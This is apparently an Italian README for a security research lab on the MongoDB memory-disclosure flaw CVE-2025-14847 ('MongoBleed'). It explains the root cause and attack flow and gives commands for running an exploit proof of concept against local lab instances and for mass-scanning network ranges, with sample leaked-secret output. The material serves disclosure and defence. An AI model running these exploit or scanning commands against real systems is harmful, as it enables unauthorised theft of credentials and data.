🩸 MongoBleed - CVE-2025-14847 Laboratorio di ricerca sulla sicurezza
CVE-2025-14847 | CVSS 8.7 (Alto) | Divulgazione di memoria non autenticata
CVE-2025-14847, soprannominata MongoBleed, consente ad attaccanti remoti non autenticati di esfiltrare memoria heap non inizializzata sfruttando la logica di decompressione zlib di MongoDB. Questo difetto ad alta gravità espone artefatti sensibili, tra cui credenziali in chiaro e token di sessione, fornendo una mappa per il movimento laterale e la completa compromissione del server.
📖 Documentazione completa →
TL;DR per i team di ingegneria
| Aspetto | Dettagli |
|---|
| Cosa è vulnerabile | Livello di trasporto di rete del server MongoDB che utilizza la compressione zlib |
| Gravità | Alta (CVSS 8.7/7.5) |
| Impatto | Divulgazione remota non autenticata di memoria heap non inizializzata |
| Perché è importante | I frammenti divulgati contengono password di database, chiavi segrete AWS e stati interni del server |
| Stato dell'exploit | Il Proof-of-Concept (PoC) pubblico "mongobleed" è validato e in circolazione |
| Cosa fare oggi | Aggiornare immediatamente alle versioni patchate o disabilitare la compressione zlib |
Entità dell'esposizione
- 87,000 - 194,000 istanze MongoDB esposte pubblicamente
- 42% degli ambienti cloud interessati (Wiz Research)
- Nessuna autenticazione richiesta - exploit pre-autenticazione
🔬 Anatomia della vulnerabilità
Analisi tecnica
La vulnerabilità risiede nel livello di trasporto di rete di MongoDB (message_compressor_zlib.cpp), dove un difetto critico nella logica di decompressione zlib consente ad attaccanti non autenticati di divulgare memoria sensibile del server.
Causa principale
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
Flusso dello sfruttamento
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Versioni interessate
Cronologia della scoperta
| Data | Evento |
|---|
| 15 dicembre 2025 | Vulnerabilità identificata; ticket interno SERVER-115508 |
📁 Struttura del progetto
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
🚀 Avvio rapido
1. Laboratorio Exploit
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
2. Scanner di rete
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. Scanner di codice
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
⚡ Comandi rapidi
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 Esempi di output
Output dell'exploit
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
Output dello scanner di rete
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
Output dello scanner di codice
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
🔗 Integrazione con Phoenix Security
Tutti gli scanner supportano il caricamento dei risultati sulla piattaforma Phoenix Security:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 Avviso di sicurezza
⚠️ IMPORTANTE: Questo toolkit è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca.
- Testa solo sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta
- L'accesso non autorizzato a sistemi informatici è illegale
- I dati divulgati possono contenere informazioni sensibili - gestiscili con responsabilità
- Segnala le vulnerabilità attraverso i canali di divulgazione appropriati
📚 Documentazione
🔗 Riferimenti esterni
👤 Crediti
- Exploit originale di Joe Desimone (@dez_)
- Ambiente di laboratorio e miglioramenti dello scanner per la ricerca sulla sicurezza
📄 Licenza
Solo per test di sicurezza autorizzati. Usalo in modo responsabile.
Ultimo aggiornamento: dicembre 2025